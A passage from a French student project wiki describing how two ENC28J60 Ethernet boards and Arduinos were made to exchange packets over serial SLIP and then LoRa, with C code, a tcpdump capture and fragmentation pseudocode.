memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa afin de réaliser la réussite de la transmission et la réception des paquets Ethernet. Cependant, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, des fonctions de SPI sont déjà définies par les fonctions dans la librairie de l'enc28j60, au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet d'être enregistré dans le buffer du LoRa ne fait que 255 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet. Le dernier octet est réservé pour dire le numéro du fragment et vérifier si c'est la fin du paquet.Quant à la réception, le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un fragment, le récepteur va s'arrêter de capter des paquets et attend l'arrivée de nouveau paquet .&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Après bien avoir étudié des caratères de module LoRa SX1276 et la carte Ethernet réseau ENC28J60, pour leur faire communiquer nous avons écrit un algorithme &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Boucle&lt;br /&gt;
    Si pas de paquet Ethernet en stock Alors&lt;br /&gt;
      tenter de lire un paquet Ethernet pour le mettre en stock&lt;br /&gt;
    FSi&lt;br /&gt;
    Si pas de réception en cours Alors&lt;br /&gt;
      Si paquet Ethernet en stock Alors&lt;br /&gt;
        envoyer un fragment LoRA&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          libérer la mémoire du paquet Ethernet&lt;br /&gt;
          attendre un paquet LoRa un temps raisonnable&lt;br /&gt;
        Fsi&lt;br /&gt;
      Sinon&lt;br /&gt;
        Si un paquet Ethernet vient d'être reçu par LoRa Alors&lt;br /&gt;
          envoyer un paquet LoRa de taille 1&lt;br /&gt;
      FSi&lt;br /&gt;
    Fsi&lt;br /&gt;
    Si pas d'envoi en cours et paquet LoRa reçu Alors&lt;br /&gt;
      Si paquet est un fragment (taille &amp;gt; 1) Alors&lt;br /&gt;
        stocker le fragment dans le tampon d'envoi Ethernet&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          envoyer le paquet sur Ethernet&lt;br /&gt;
        FSi&lt;br /&gt;
      FSi&lt;br /&gt;
    FSi&lt;br /&gt;
  FinBoucle&lt;br /&gt;
